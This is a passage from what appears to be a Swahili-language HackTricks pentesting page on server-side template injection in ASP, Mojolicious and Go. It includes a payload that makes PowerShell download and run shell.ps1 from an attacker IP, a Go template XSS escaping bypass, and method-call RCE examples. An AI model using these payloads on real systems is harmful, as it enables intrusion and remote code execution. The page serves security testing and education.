  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = Hakuna

  • <%= response.write(date()) %> = <Tarehe>

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Maelezo Zaidi

Mojolicious (Perl)

Hata kama ni perl inatumia lebo kama ERB katika Ruby.

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

<%= perl code %>
<% perl code %>

SSTI in GO

Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa kwa kutumia payload maalum:

  • {{ . }}: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa ya Password kinapewa, {{ .Password }} kinaweza kukifichua.

  • {{printf "%s" "ssti" }}: Inatarajiwa kuonyesha mfuatano wa maneno "ssti".

  • {{html "ssti"}}, {{js "ssti"}}: Payload hizi zinapaswa kurudisha "ssti" bila kuongezea "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go hapa.

XSS Exploitation

Kwa kutumia pakiti ya text/template, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya html/template inakodisha jibu ili kuzuia hili (kwa mfano, {{"<script>alert(1)</script>"}} inasababisha &lt;script&gt;alert(1)&lt;/script&gt;). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita kodishaji hii: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE Exploitation

Ushughulikiaji wa RCE unatofautiana sana kati ya html/template na text/template. Moduli ya text/template inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), ambayo hairuhusiwi katika html/template. Nyaraka za moduli hizi zinapatikana hapa kwa html/template na hapa kwa text/template.

Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya System inayotekeleza amri, kinaweza kutumika kama {{ .System "ls" }}. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kutumia hili, kama katika mfano uliopewa:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Maelezo zaidi

Maelezo Zaidi ya Ukatili

Angalia sehemu nyingine ya https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kwa maelezo zaidi ya ukatili. Pia unaweza kupata habari za kuvutia kuhusu lebo katika https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Msaada wa Kuunganishwa

Ikiwa unafikiri inaweza kuwa na manufaa, soma:

Zana

Orodha ya Kugundua Brute-Force

Mazoezi & Marejeleo

​​​RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.

Support HackTricks

Last updated